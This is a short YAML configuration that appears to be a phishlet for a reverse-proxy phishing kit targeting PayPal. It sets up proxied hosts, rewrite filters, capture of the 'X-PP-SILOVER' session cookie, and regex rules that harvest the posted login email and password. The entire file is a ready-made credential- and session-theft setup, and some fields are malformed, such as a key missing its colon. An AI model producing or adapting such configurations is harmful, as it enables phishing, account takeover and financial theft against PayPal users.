yaml

proxy_hosts:
  - {phish_sub: 'paypal', orig_sub: 'www-paypal.com', domain: 'paypal.com', session: true, is_landing: true}
sub_filters:
  - {triggers_on 'www.paypal.com', orig_sub: 'www', domain: 'paypal.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
auth_tokens:
  - domain: 'www.paypal.com'
    keys: ['X-PP-SILOVER']
credentials:
  username:
    key: 'login_email'
    search: '(.*)'
    type: 'post'
  password:
    key: 'login_password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'paypal.com'
  path: '/hr/signin'